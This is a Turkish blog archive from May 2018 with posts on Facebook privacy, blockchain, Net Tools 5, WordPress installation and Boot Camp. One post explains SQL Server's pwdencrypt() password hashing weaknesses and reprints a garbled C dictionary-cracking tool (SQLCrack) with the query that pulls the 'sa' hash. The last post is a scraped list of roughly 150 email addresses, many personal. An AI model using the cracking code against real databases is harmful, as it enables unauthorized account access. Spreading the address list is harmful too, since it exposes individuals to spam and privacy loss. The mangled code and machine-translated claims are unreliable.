10 Mayıs 2018 Perşembe

Facebook beni ne kadar biliyor ?

Facebook beni ne kadar biliyor ? Facebook haber kaynağınızda reklamlar sizin ilgilendiğiniz konular ile alakalı ise, Facebook sizi çok iyi tanıyordur. Facebook, 2.2 milyar kullanıcı üzerindeki büyük veri birikimine dayanarak 2017 yılında reklam gelirinde yaklaşık 39,9 milyar dolarlık bir kâr etmiştir. Ardından, kişisel beğenilerinize dayalı olarak ürünlerinizi ve hizmetlerinizi satmak için kullandıkları reklam verenlere hedeflenmiş bilgilerinizi sattı.


Facebook beni ne kadar biliyor ?


Şirketlerin bilgilerinizi kullanması için daha fazla istemeyeceğiniz şekilde reklamlar ile karşılaşmanız mümkün.


Cambridge Analytica, tahmini 87 milyon Facebook kullanıcısından veri topladı ve bu bilgileri, kişisel ihtiyaçları ve isteklerine hitap eden hedefli kampanya reklamları göndermek için kullandı. Facebook CEO’su Mark Zuckerberg, Kongre’den önce ihlal hakkında ifade vermek üzere çağrıldı.


Rus haber sitesi RT ile yaptığı röportajda Wikileaks kurucusu Julian Assange, Facebook’u “şimdiye kadar icat edilen en korkunç casusluk makinesi” olarak adlandırdı.


Assange, “Burada dünyanın insanlar hakkında en kapsamlı veri tabanına, onların ilişkilerine, isimlerine, adreslerine, yerlerine ve ABD, ABD’deki tüm akrabalarıyla iletişimi, hepsi ABD istihbaratına erişebilir.”


“Bir partiye gittiğinizde, fotoğraf çektiğinizde ve bu fotoğrafı Facebook’a gönderseniz, bir köstebek oluyorsunuz” diye ekledi.


Fakat örgütü bile, felakete katılmaya dayanamaz. Wikileaks’in 3.5 milyondan fazla takipçisiyle kendi Facebook sayfası var.


Facebook, kullanıcılarının rahatsız edici şekilde ayrıntılı bir veri setini toplar ve her zaman nasıl kullanıldığı konusunda şeffaf olmamıştır.


Facebook’un bilgilerimizi kullanmasını engellemek için bir takım önlemler almalıyız. Ancak her ne kadar önlem alsak da yaptığımız hash tag ve paylaştığımız resim, konum, yorum gibi durumlara bakıldığında, Facebook nelerle ilgilendiğinizi ne kadar süre Facebook’ta geçirdiğimizi bu bilgileri kayıt altına alarak kullanmaktadır. Dolayı size ne kadar doğru bilgi verirsek bizimle ilgili o kadar gerçek bilgilere sahip olur. Bu noktada yapılması gereken şeyler gerçek bilgilerimizi paylaşmamak yada gerçek bilgilerimizi vermemektir. Gerçek adımızı ve soyadımızı zarar gelebilecek şekilde bilgilerimizi paylaşmadan sosyal medya kullanmak olmalıdır. Sosyal medya kullanımındaki artış sayesinde çok fazla insanın bilgilerini gerçek şekilde reklam verenlere satıldığına şahit olduk. Bu noktada kullandığımız ad ve soyadı ait başına ortasına farklı kelimeler ekleyerek, bize erişimini bir şekilde engelleyebiliriz. En önemli noktalardan bir tanesi de adımıza kayıtlı cep telefonu numarasını Facebook ve diğer sosyal medya hesaplarında kullanmamak olmalıdır.


 



Facebook beni ne kadar biliyor ?

Blockchain Facebook"un sonu olabilir mi?

Blockchain bir dizi endüstriyi sekteye uğratıyor. Sosyal medyayı en sona mı bırakıyor ?


Blockchain Facebook’un sonu olabilir mi?


Bir çok insan için, Bitcoin’in gelmesi – 2018 yılı sonuna kadar 1.2 trilyon dolarlık bir değere ulaşması beklenen kripto para karşılığı – daha hızlı çevrimiçi ödemelere göre çok daha fazlasını vaat etti. Hükümet veya merkez bankası kontrolünden bağımsız, şeffaf ve bir kullanıcı ağı tarafından düzenlenen,  bir çok kişi tarafından bitcoin’in ütopik özelliklerini destekledi.


İnsanlar için bir para birimi olarak, merkezi bir güç merkezinin manipulatif güçlerine ulaşamayacak kadar parasız bir şekilde fırladı. Bu temyiz, bankaların şüpheciliğini ve daha geniş bir kuruluşu müjdeleyen 2008 yılı mali çöküşünden kaynaklanan serpintiye denk gelen başlangıcın zamanlamasıyla güçlendirildi. Dünyada çok daha geniş bir kitleye hitap edeceği şimdiden belli olan Bitcoin zamanla dünya üzerindeki ambargoları delmek içinde kullanılacağa benziyor. Takip edilememesi bir çok problemi ortadan kaldırıyor.



 


10 yıl  önce, Bitcoin piyasaya çıktıktan sonra , para birimi genel kullanıma girmeye çok uygun değildi. Çoğu para birimi, sterlin veya dolar ile birlikte  paranızı arttırmaya yaramaz. Gerçekte, paranın büyük bölümlerinin hareketi, yatırımcıların bitcoinleri bir karda satma niyeti ile biriktirmeleri nedeniyle ve Amerika uzun vadeli işlemler borsasına girmesinden yavaşlamış, fiyatı stabil hale hatta geriye doğru gitmeye başlamıştı. Bu davranış, Bitcoin’in birincil kullanımını günlük işlemlerden ve yerine spekülasyona doğru kaydırdı. Bu da sanal para birimlerine olan güvenin azalmasına her ne kadar sebep olsada şuan durum tekrar toparlanmakta.


Ancak bir para birimi olarak bitcoin’e olan ilgi azalırken, temel teknolojisiyle ilgili merak artmıştır. Para birimine dayanan dağıtılmış defter teknolojisi, bir dizi endüstriden ilgi görmüştür. Bankalar – kullanıcıların atlamak istedikleri bitcoin organizasyonları – online ödemeleri kolaylaştırmak için teknolojiden yararlanma konusunda büyük ilgi gösterdiler.


Blockchain teknolojisi


Blockchain teknolojisi, finansal işlemlerde aracıya verilen ekstra ücretleri ortadan kaldırmayı başarmış durumda. Bir üçüncü tarafça işlenmek yerine, işlemler tüm kullanıcılara dağıtılır ve dağıtılmış bir ağdaki sayısız bilgisayar tarafından kaydedilir. Bu nedenle IBM ve Microsoft gibi teknoloji devleri tarafından “blok zinciri hizmet olarak” teklif edilen platformlar, güvenli ödemelere ilgi duyan ve tedarik zincirlerinde şeffaflığı artıran işletmelerde daha fazla ilgi görüyor.



Blockchain Facebook"un sonu olabilir mi?

Net Tools 5

Net Araçlar 5 Bilgisayarınızı ve güçlerinizi bu özel program ile muazzam ağ, dosya ve Windows sistem kullanabileceğiniz mükemmel bir araçtır. Ayrıca tüm erişim ve kullanım tecrübelerinizi geliştirebileceğiniz bir yazılımdır.


 



Net Tools 5, tamamen ücretsiz olan geniş bir ağ, dosya ve Windows sistem araçları koleksiyonunu sunar.


Ağ Araçları Net Tools 5


Bazı yardımcı programlar oldukça önemlidir. Yani hem bir FTP sunucusuna hem de bir müşteriye sahip olursunuz. Burada bir sürü bilgi sistemi, bir web sitesi offline kullanımı, web galerisi ve web sitesi yapmak için gerekli araçlar var.


Hayal edebileceğiniz hemen hemen her ağ yardımcı programında varyasyonlar var: Örneğin Ping, NetState ve TraceRoute; bağlantı noktası tarayıcıları, Whois ve MX aramaları, paket algılayıcıları, HTTP tarayıcıları, bant genişliği monitörleri, MAC adresleri araçları ve liste uzayıp gidiyor.


Ve süit dosya ile ilgili çok çeşitli araçlar içerir. Tüm dosya klasörlerini kurallarınıza uyacak şekilde yeniden adlandırabilir; dosyaları bölüştürün, karşılaştırın ve diğer şeylerin yanı sıra gizli belgeleri çeşitli şekillerde şifreleyin.


Bu işlevlerin bulunması biraz zaman alabilir, çünkü yalnızca menülerde kullanılabilirler ve bunlar her zaman beklediğiniz gibi organize olmaz. Bu nedenle, örneğin, sisteminizde sanal bir sürücü oluşturan bir Sanal Sürücü Oluştur aracını içerir. Bu, aslında bir klasöre işaret eder (böylece Z: ‘yi çift tıklattığınızda, yaygın olarak kullanılan bir klasöre götürülür). Sistem Araçları’nın altında görünmesini bekleriz, ancak aslında Dosya Araçları bölümünde görünür.


Bazı programlar, testlerimiz sırasında başlatılamamış, versiyon ve windows sürüm hatalarından kaynaklı problemler oluşmuştur. Bir çoğu windows 10 üzerinde çalışacaktır. Ancak çalışmayan araçlar için üzerine sağ tuş tıklayarak uyum sorunu giderme ile çözebilirsiniz. Diğerleri ellerinden geleni yapıyor olsa da (örneğin, önemli bir düzenleme aracı var, ancak Windows XP’de hedefleniyor) Programların Windows 7 altında çalıştığını yada çalışmadığını test etmedik.


Yine de, süit özgür olduğu gibi ve mükemmel çalışan yüzlerce diğer işlevi de içerdiğinden, çok fazla şikayet etmek mantıksız görünüyor. Eğer bu tarz bir paketi keşfetmeyi seven yenilikçi ve teknolojik bir yapınız varsa, o zaman bir göz atın. Burada, etrafa bakmak için Net Tools’un yapabileceği her şeyi keşfederek saatlerce vaktiniz var. Çünkü çok fazla araç ve gereç var.


Net Tools 5 indir



Net Tools 5

9 Mayıs 2018 Çarşamba

Wordpress nedir

WordPress nedir ne için kullanılır ne işe yarar ? Günümüzde bir çok kişi gibi bizlerde internet kullanmaktayız. İnternet kullanım amacımız, kimi zaman müşterilere ulaşmak, kimi zaman bilgi almak, kimi zaman ise sosyal medya kullanımları gibi farklı sebeplere dayanıyor. Bir çok insanın ihtiyacı olan web sitesi ihtiyaçlarını karşılayabilmek için oluşturulmuş, WordPress açık kaynak kodlu, php tabanlı bir sistemdir.


wordpress nedir nasıl kullanılır


WordPress Açık Kaynak kodlu bir CMS sistemidir. Ayrıca WordPress Açık Kaynak kodlu olduğu için istenilen türde ve değişiklikte tema ile farklı web sitesi yapılması seçenekleri mevcuttur. WordPress  Wordpress ile kurumsal Bir web sitesi yapmak ya da kişisel bir blog Sitesi yapmak da mümkündür. WordPress dünyada çok fazla kişi ve kurum tarafından kullanılmaktadır ücretsiz altyapısını sağlamış olduğu hizmetler kaliteli ve kontrol edilebilirdir.  Birçok web sitesinde olduğu gibi görünüm tasarım stil şablon bunların her birini farklı bir şekilde belirtebilirsiniz. Ancak Eğer tasarım ve görsel açıdan kendinize ait özgün bir tasarım yapacaksınız; öncelikle html dilinden faydalanmanız gerekecektir.


Teknik tarafında çok fazla bilginiz yok ise internette satılan WordPress temaları satan web sitelerinden faydalanabilirsiniz. Bu sitelere örnek olarak temaforest sitesini kullanabilirsiniz. Hazır tema kullanmak her ne kadar başka bir kopyasını ne olduğunu bilinerek yapılsa da kurumsal web siteleri için tavsiye edilmez. Kişisel web siteleri için hazır temaları kullanmak daha uygundur. WordPress temaları için farklı web siteleri ve farklı fiyat aralıkları bulunuyor. Ortalama fiyatları 20 dolar ile 60 dolar arasında değiştirmektedir. Tabii ki WordPress için tema yükleyerek işimiz bitmiş olmuyor. Ayrıca WordPress için farklı ve sitemizin görsellerini yansıtabilecek stil ve şablonlar içinde eklenti kullanmamız gerekecektir. Bazen bu eklentiler tasarım için gereksede bazı durumlarda wordpress için farklı özellik eklemek için eklenti kullanmamız gerekecektir. Bu eklentiler çoğu zaman temaların içerisinde kullandığınız temele göre yüklenilmiş olsa da bazı durumlarda temanızı tasarımını kendinize uygun bir şekilde değiştirebileceğiniz eklentiler bulunmaktadır. Eğer hazır tema kullanmak istemiyorsanız öncelikle bu işin nasıl yapıldığını bilmeniz gerekiyor bilmeniz gerekenleri sırlarımız gerekirse ;


WordPress tema oluşturmak için bilmemiz gerekenler


1- Photoshop


2- WordPress


3- Html Dli


4PHP Dili


 


Eğer yukarıda sunulan boş olan özellikleri bilirsiniz temaforest için tema yapma ek iş olarak para bile kazanabilirsiniz


 


wordpress nedir nasıl kurulur


WordPress kurulumu için bir adet hosting ve bir adet domain ihtiyacınız bulunuyor. En iyi hosting firmaları yazımızdan satın alabilirsiniz. Domain ve hosting yönlendirdikten sonra hosting için cpanel kullanılmak gerekiyor. Tabi cpanel kullanılması içinde hostingimizin Linux tabanlı olmasında fayda var. Ancak Windows tabanlı  asp hostingler her ne kadar WordPress için destek verse de tam olarak senkronize çalışmamaktadır. Bu noktada Linux tabanlı hosting kalmakta fayda bulunuyor. Linux tabanlı hosting aldığımızı varsayarak hosting aldığımız firmanın web sitemize ait hostingden cpanele giriş yapmalıyız. Cpanele giriş yaptıktan sonra hostingimize ait bir veritabanı oluşturmalıyız. Hostingden bir veritabanı oluşturduktan sonra  veritabanına ait bir kullanıcı adı ve şifre oluşturmamız gerekiyor. Oluşturduğumuz kullanıcının veritabanına erişim yetkisini seçmeliyiz. Burada full erişim yapmakta fayda bulunuyor. Dolayısıyla elimizde şu anda Cpanelde oluşturduğumuz bir veritabanı ve bu veritabanına bağlı bir kullanıcının kullanıcı adı ve şifresi bulunmaktadır.


Bu bilgiler WordPress kurulumu için yeterli olacaktır bu noktada yapmanız gereken 2. işlem wordpress’in yeni sürümünü son sürümünü  wordpress indir adresinden indirmek olacaktır.


WordPress Kurulumu


WordPress’i hosting atmak için ftp ile hosting erişimi yapmalıyız. Bu bilgileride yine cpanelden erişebiliriz. Ftp ile wordpress dosyalarını hostingimizin ana dizini Public_Html dizinine attıktan sonra burdaki işlemimiz bitiyor. Sonra browser açıp alan adımızı internet sayfasından açtığımızda WordPress Hoşgeldiniz kurulum için temel bilgileri soracaktır. Burada daha önceden oluşturduğumuz veritabanı kullanıcı adı ve şifreleri eksiksiz bir şekilde girdiğinde wordpress’in kurulumu tamamlanmış olacaktır.



Wordpress nedir

Boot Camp nedir

Boot Camp, Apple’in Mac OS X’inde bulunan ve Microsoft Windows işletim sistemlerini Intel tabanlı Macintosh bilgisayarlara yükleme konusunda yardımcı olan bir çoklu önyükleme yardımcı programıdır. Bios‘da herhangi bir ayar yapmaya gerek yoktur. Bu yardımcı program, kullanıcılara, sabit disk sürücüsünün zararsız disk bölümlemesi (gerektiğinde mevcut bir HFS + bölümünün yeniden boyutlandırılması dahil) ve Apple donanımı için Windows aygıt sürücülerinin yüklenmesiyle işlevini görmenizi sağlar.. Yardımcı program ayrıca önyükleme işletim sistemini seçmek için bir Windows Denetim Masası uygulaması yükler.


Boot Camp ‘ın 6 sürümünden önceki versiyonları Windows XP ve Windows Vista’yı destekliyor. Boot Camp 6.0, Windows 10’u destekliyor. Boot Camp 6.1 Mac OS X 10.12 Sierra Windows 7, Windows 8.1 ve Windows 10’un Mac OS X için Boot Camp 4.0 10.6 Mac OS X’e kadar Snow Leopard 10.8 Mountain Lion sürümü 10.8.2 sadece Windows 7’yi desteklemektedir.


Mac’e Windows Kurmak


Mac’te Windows 10’u kurmak, bir USB flash sürücü ve Microsoft tarafından sağlanan Windows 10’un ISO dosyası gerektirir. Boot Camp, Mac önyüklenebilir bir yükleme diski olarak flash sürücüyü yeniden biçimlendirir ve hedeflenen Mac bilgisayarına yönelik donanım sürücülerini yüklemek için Windows 10’u kurulum komut dosyaları ile birleştirir.


Mac her zaman en son kullanılan başlangıç diskinden önyükleme yapar. Başlangıçta seçenek tuşunun (⌥) basılı tutulması, önyükleme yöneticisini açar ve kullanıcının hangi işletim sisteminin başlamasını seçmesini sağlar. Apple olmayan bir klavye kullanırken, alt anahtar genellikle aynı eylemi gerçekleştirir.


Daha eski Mac’lerde, işlevselliği EFI aracılığıyla BIOS öykünmesine ve GPT ile MBR arasında bir bölüm tablosu bilgi senkronizasyonu mekanizmasına destekler.


 


Gereksinimler


Mac OS X 10.7 Aslan ve Mac OS X 10.8 Mountain Lion

Apple’ın Boot Camp sistem gereksinimleri, Mac OS X 10.7 Lion ve Mac OS X 10.8 Mountain Lion için aşağıdaki gereksinimleri listeler:


8 GB USB depolama aygıtı veya Mac donanımı için Windows sürücülerini yüklemek için MS-DOS (FAT) olarak biçimlendirilmiş harici sürücü

İlk kez yükleme için 20 GB boş sabit disk alanı veya önceki bir Windows sürümünden yükseltme için 40 GB alana ihtiyaç duyar.


Aşağıdaki listede olan işletim sistemlerinin bir iso imaj dosyası.


Windows 7 Home Premium, Professional veya Ultimate (yalnızca 64 bit sürümleri)

Windows 8 ve Windows 8 Professional (yalnızca 64 bit sürümleri)

Windows 10 Home, Pro, İş İstasyonu, Eğitim veya Kurumsal için Pro (yalnızca 64 bit sürümleri)


 


Boot Camp indir



Boot Camp nedir

Sql Server Kullanıcı Şifresi Kırmak

SQL Server şifreleri nasıl saklar?


Sql Server Kullanıcı Şifresi Kırmak SQL Server, kullanıcının veritabanının sysxlogins tablosunda saklanan kullanıcının parolasını oluşturmak için belgesiz bir işlev olan pwdencrypt () kullanır. Bu muhtemelen oldukça yaygın bilinen bir gerçektir. Henüz yayınlanmamış olan pwdencrypt () işlevinin ayrıntılarıdır. Bu makale işlevi ayrıntılı olarak tartışacak ve SQL Server’ın parola karmasını depoladığı şekilde bazı zayıf noktaları gösterecektir. Aslında, göreceğimiz gibi, daha sonra ‘şifre hash’i ‘  demeliyim.


Bir SQL şifre karması nasıl görünür?


Sql Query Analyzerı kullanarak veya seçtiğiniz SQL aracını kullanarak aşağıdaki sorguyu çalıştırın.


select password from master.dbo.sysxlogins where name=’sa’


 


Şu şekilde bir sonuç göreceksiniz


 


0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6 F649BA954AFF4057056D9B


Bu, makinemdeki ‘sa’ login şifresinin hash’idir. Bundan daha önemlisi bu hash’den nasıl bir sonuç çıkararak bir şifre haline çevirebilmektir.


 


Query


select pwdencrypt(‘foo’)


Sonuç


0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218 969D09FFB97F5035CF7142521576


birkaç saniye sonra sorguyu tekrarlayın


select pwdencrypt(‘foo’)


sonuç


0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92F532819DC22ED6B


E374591FAAF6C38A2EADAA57FDF


iki karma farklıdır, ama ‘foo’ girişi de aynıdır. Buradan, bu zamanın şifre karmalarının oluşturulup saklanmasında önemli bir rol oynaması gerektiğini anlayabiliriz. Bunun arkasındaki tasarım nedenleri, iki kişinin aynı şifreyi kullanması durumunda, karmalarının farklı olacağı ve böylelikle şifrelerinin aynı olduğu gerçeğinin gizleneceği şeklinde olacaktır.


 


Sorguyu çalıştır


üreten pwdencrypt (‘AAAAAA’)


0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918 D34B6A12C9CC9EF99C4769F819B


Şimdi, muhtemelen iki şifre karmaşasının olduğunu görebiliyoruz. Eğer bunu fark edemiyorsan, onu kıralım.


0x0100 84449305

43174C59CC918D34B6A12C9CC9EF99C4769F819B 43174C59CC918D34B6A12C9CC9EF99C4769F819B


Görülebileceği gibi, son 40 karakter sondan önceki 40 karakterle aynıdır. Bu, şifrelerin iki kez depolandığını gösterir. Bunlardan biri normal büyük / küçük harfe duyarlı parola, diğeri ise parola’nın üst casus versiyonudur. Bu, SQL şifrelerini kırmaya çalışan herhangi biri kadar kolay değil, artık daha kolay bir iş var. Büyük / küçük harf duyarlı bir parola kırmak yerine, yalnızca üst casus versiyonundan sonra gitmeleri gerekiyor. Bu, önemli ölçüde girişimde bulunması gereken karakter sayısını azaltır.


Şifreyi bulma


Şimdiden bildiğimiz kadarıyla, zaman içinde meydana gelen değişiklikler, hashta bir değişiklik üretecek, şifre karmalarını farklı kılan zamanla ilgili bir şey olmalı ve bu bilgiler kolayca erişilebilir olmalıdır, böylece birisi, bir kullanıcı giriş yapmaya çalıştığında, bir karşılaştırmaya karşı yapılabilir. hash sağladıkları paroladan ve karma veritabanında saklanır. Pwdencrypt () ‘dan 84449305 bölümünün üzerindeki sonuçların dökümü bu bilgi parçasıdır.


Bu sayı aşağıdaki şekilde türetilmiştir. Time () C işlevi çağrılır ve srand () işlevine geçirilen bir tohum olarak kullanılır. srand () bir dizi (sözde) rasgele sayı üretmek için kullanılacak bir başlangıç ​​noktası belirler. Srand ekilince, bir rastgele sayı üretmek için rand () işlevi çağrılır. Bu sayı bir tamsayıdır; ancak SQL server bunu kısa bir kısma dönüştürür ve bir kenara koyar. Bu numaraya SN1 diyoruz. Rand () işlevi tekrar, yine bir kısaca dönüştürülen başka bir sözde rasgele tamsayı üretmek için çağrılır. Bu numarayı SN2 olarak adlandıralım. Bir tamsayı üretmek için SN1 ve SN2 birleştirilir. SN1 en önemli parça ve SN2 en az önemli parçası haline geliyor: SN1: SN2 bir tuz üretmek için. Bu tuz daha sonra şifreyi gizlemek için kullanılır.


Şifreyi karıştırmak


Kullanıcının parolası, bu formda değilse, UNICODE sürümüne dönüştürülür. Tuz daha sonra sonuna eklenir. Bu daha sonra güvenli karma algoritma veya SHA kullanarak bir karma üretmek için advapi32.dll crypt işlevlerine geçirilir. Parola daha sonra büyük harfli formuna dönüştürülür, tuz sonuna kadar tuzlanır ve başka bir SHA hash üretilir.

0x0100 Sabit Üstbilgi 84449305 İki aramadan rand’ye


43174C59CC918D34B6A12C9CC9EF99C4769F819B Kasa Hassas SHA Hızı 43174C59CC918D34B6A12C9CC9EF99C4769F819B Büyük Harf SHA Karma



Kimlik Doğrulama


Bir kullanıcı SQL Server’a kimlik doğrulamayı denediğinde, bunu yapmak için birkaç şey gerçekleşir. İlk olarak SQL Server, bu kullanıcı için parola girişini veritabanında inceler ve örnekte “tuz” -84449305’i çıkarır. Bu, daha sonra giriş yapmaya çalışırken ve SHA hash üretildiğinde kullanıcının sağladığı parolaya eklenir. Bu karma, veritabanındaki karma ile karşılaştırılır ve kullanıcıyla eşleşirse doğrulanır – ve tabii ki karşılaştırma başarısız olursa, giriş denemesi başarısız olur.


SQL Server Şifre Denetimi

Bu, SQL Server’ın kullanıcıların kimliğini doğrulamaya çalıştığı şekilde yapılır. Tabii ki, yapılacak en iyi şey, ilk olarak, kapalı kasadan üretilen karmayı kaba kuvvete zorlamaktır. Bu tahmin edildikten sonra büyük / küçük harfe duyarlı şifreyi çalışmak çok önemsizdir.


 


c+ ile devam ediyoruz


 


#include <stdio.h> #include <windows.h> #include <wincrypt.h>


 


 


FILE *fd=NULL;


char *lerr = “\nLength Error!\n”;


int wd=0;


int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash);


int main(int argc, char *argv[])


int err = 0;


if(argc !=3)


printf(“\n\n*** SQLCrack *** \n\n”); printf(“C:\\>%s hash passwd-file\n\n”,argv[0]); printf(“David Litchfield (david@ngssoftware.com)\n”);


printf(“24th June 2002\n”);


return 0;



err = OpenPasswordFile(argv[2]);


if(err !=0)



return printf(“\nThere was an error opening the password file %s\n”,argv[2]);



err = CrackPassword(argv[1]); fclose(fd);


printf(“\n\n%d”,wd);


return 0;


}


int OpenPasswordFile(char *pwdfile)



fd = fopen(pwdfile,”r”);


if(fd)


return 0;


else


return 1;



 


int CrackPassword(char *hash)


 


 


char phash[100]=””; char pheader[8]=””; char pkey[12]=””;


char pnorm[44]=””; char pucase[44]=””;


char pucfirst[8]=””; char wttf[44]=””; char uwttf[100]=””;


char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0;


HCRYPTHASH hHash;


DWORD hl=100;


unsigned char szhash[100]=””;


int len=0;


if(strlen(hash) !=94)



return printf(“\nThe password hash is too short!\n”);



if(hash[0]==0x30 && (hash[1]== ‘x’ || hash[1] == ‘X’))



hash = hash + 2; strncpy(pheader,hash,4); printf(“\nHeader\t\t: %s”,pheader); if(strlen(pheader)!=4)


return printf(“%s”,lerr);


hash = hash + 4; strncpy(pkey,hash,8); printf(“\nRand key\t: %s”,pkey); if(strlen(pkey)!=8)


return printf(“%s”,lerr);


 


hash = hash + 8; strncpy(pnorm,hash,40); printf(“\nNormal\t\t: %s”,pnorm); if(strlen(pnorm)!=40)


return printf(“%s”,lerr);


hash = hash + 40; strncpy(pucase,hash,40); printf(“\nUpper Case\t: %s”,pucase); if(strlen(pucase)!=40)


return printf(“%s”,lerr);


strncpy(pucfirst,pucase,2);


sscanf(pucfirst,”%x”,&cmp);



else



printf(“\n\n


 


return printf(“The password hash has an invalid format!\n”);


 


Trying…\n”);


 


if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL    ,0))



if(GetLastError()==NTE_BAD_KEYSET)



// KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv,


NULL, NULL,


PROV_RSA_FULL, CRYPT_NEWKEYSET ))



printf(“FAILLLLLLL!!!”); return FALSE;



 



 



while(1)



// get a word to try from the file ZeroMemory(wttf,44);


if(!fgets(wttf,40,fd)) return printf(“\nEnd of password file. Didn’t find the password.\n”);


 


wd++;


len = strlen(wttf); wttf[len-1]=0x00;


ZeroMemory(uwttf,84);


// Convert the word to UNICODE while(count < len)


uwttf[cnt]=wttf[count]; cnt++;


uwttf[cnt]=0x00;


count++;


cnt++;



len — ;


wp = &uwttf; sscanf(pkey,”%x”,&key); cnt = cnt – 2;


// Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t;


uwttf[cnt]=x; cnt++;


t = key << 8; t = t >> 24;


x = (unsigned char) t;


uwttf[cnt]=x;


cnt++;


 


t = key << 16;


t = t >> 24;


x = (unsigned char) t;


uwttf[cnt]=x; cnt++;


 


t = key << 24;


t = t >> 24;


x = (unsigned char) t;


uwttf[cnt]=x;


cnt++;


 


// Create the hash


if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))



printf(“Error %x during CryptCreatHash!\n”, GetLastErrorO); return 0;



if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))



printf(“Error %x during CryptHashData!\n”, GetLastErrorO); return FALSE;



CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);


 


// Test the first byte only. Much quicker. if(szhash[0] == cmp)



// If first byte matches try the rest ptr = pucase; cnt = 1;


while(cnt < 20)


ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,”%x”,&cmp); if(szhash[cnt]==cmp) cnt ++;


else


break;




if(cnt == 20)


 


// We’ve found the password


printf(“\nA MATCH!!! Password is %s\n”,wttf);


return 0;


 




 


count = 0; cnt=0;


 


 


 



 


return 0;


}


 


 


 



Sql Server Kullanıcı Şifresi Kırmak

8 Mayıs 2018 Salı

Sağlık sektörü mail adresleri

webmaster@dogusmedikal.com.tr

bilgi@dogusmedikal.com.tr

erolacer@dogusmedikal.com.tr

satis@dogusmedikal.com.tr

servis@dogusmedikal.com.tr


Sağlık sektörü mail adresleri


info@baskenthosting.com

info@baskentyazilim.com.tr

ftp.alanadiniz.com@alanadiniz.com

bilgi@alanadiniz.com

destek@baskent.net.tr

isim@sanalmagaza.com

isim@emlakofisiniz.com

isim@firmaadi.com

isim@otogaleri.com

info@cgbilgisayar.com

info@stasarim.com

info@bildatasoft.com

info@byoktay.com

info@forum26.com

info@osmansafak.com

info@ozlemcetin.com

info@webiletisim.com

info@baskentyazilim.com

info@baskentajans.com

info@e-netdizayn.com

info@cdcogaltma.com

info@baskentelektronik.com

info@projelerimiz.com

i-nav@verisign-grs.com

serkan@bildatasoft.com

info@aramania.com

reklam@aramania.com

reklam@sosyalforum.net

oneri@sosyalforum.net

bilgi@sosyalforum.net

info@defineforum.com

bulent.37@windowslive.com

info@elmaliforum.com

fcekirge@hurriyet.com.tr

demo@projelerimiz.com

osman@webiletisim.com

isim@firmalar.com

bakimreyonu@hotmail.com

info@bakimreyonu.com

info@reklampromosyon.net

info@kartalyuvasiankara.com

info@bircocukistiyorum.com

info@elhanebru.com

e6878807bc21d603@apps.messenger.live.com

info@videokulubu.com

galeri198251@mynet.com

tufanog_@hotmail.com

info@baskentgrup.com

username@Multilingual.TLD

info@verisign-grs.com

www-validator-css@w3.org

info@ankaramakinasanayi.com

info@kurtaranplastik.com

info@patipark.com

info@cigdemcamlibel.com

info@bazmakina.com.tr

info@adasavunma.com.tr

infobatider@batider.com.tr

ozmen@ozdemir.biz

ben@atifdag.com

satis@bildatasoft.com

destek@bildatasoft.com

info@arabamburada.com

efsane_koc58@hotmail.com

abdulrahman@inter-teks.com

igneliyorum@hotmail.com

epigrafstavro21@hotmail.com

stavro21@hotmail.com

stavro21@stavro.com

zitgi67@gmail.com

erdinc-67@keles.com

erdinc-067@hotmail.com

iyik_23@hotmail.comya

destek@nettescil.gen.tr

dhizlan@hurriyet.com.tr

tturenc@hurriyet.com.tr

ahmethakan@hurriyet.com.tr

vmunyar@hurriyet.com.tr

ftinc@hurriyet.com.tr

ldemirci@hurriyet.com.tr

skucuksahin@hurriyet.com.tr

esaglam@hurriyet.com.tr

ecelebi@hurriyet.com.tr

aarman@hurriyet.com.tr

nerk@hurriyet.com.tr

nuraymert@hurriyet.com.tr

rturan@hurriyet.com.tr

4yaprakliyonca@gmail.com

noyandogan@hurriyet.com.tr

isoyler@hurriyet.com.tr

ier@hurriyet.com.tr

etoroglu@hurriyet.com.tr

altant@hurriyet.com.tr

csemercioglu@hurriyet.com.tr

guzinabla@hurriyet.com.tr

sahrababla@e-kolay.net

nilfm@hurriyet.com.tr

kkeskin@hurriyet.com.tr

niobe@hurriyet.com.tr

obasturk@hurriyet.com.tr

ucebeci@hurriyet.com.tr

arman.k@hurriyet.com.tr

ykirbaki@hurriyet.com.tr

ttanis@hurriyet.com.tr

aarsan@hurriyet.com.tr

galto@hurriyet.com.tr

mersan@hurriyet.com.tr

bizeyazin@yenibiris.com

soru@sendeyolla.com

bumerang@hurriyet.com.tr

haberalarmi@hurriyet.com.tr

english@hurriyet.com.tr

destek@gezisitesi.com

doganuluc@aol.com

info@adnet.com.tr

musa_ayvaci@hotmail.com

isminiz@arabamburada.com

masmavi063@hotmail.com

gulentaksi@hotmail.com

akasyaotomotiv@ttmail.net.tr

gizli_madalyon@hotmail.com

aselli@aktifotomotiv.com

info@otoalemdar.com

alkan@alkanoto.com

bilecenoglu@ttnet.net.tr

autokaya@hotmail.com

iletisim@bayramotomotiv.com

iletisim@bozdoganotogaleri.com

mehmet_23_1986@htmail.com

muratlimon@hotmail.com

nailcelik@mynet.com

mceylanotomotiv@mynet.com

ciftkarmotor@yahoo.com.tr

demirhan@hotmail.com

mali.inal@mynet.com

info@enderoto.com

servis@enginotomotiv.com.tr

goksutur@hotmail.com

otogungor@hotmail.com

karaca@hotmail.com

musaozver@mynet.com

kocabaskent@ilkposta.com

asdasd@hotmail.com

yusufkosan@msn.com

mrt_ysn@hotmail.com

okyanussirketlergrubu@gmail.com

kamil_kamie@hotmail.com

info@pasaotomotiv.com.tr

pasaa_45@hotmail.com

perta_emlak_oto@hotmail.com

koksal_emir@hotmail.com

dilek.sonmez@gunkar.net

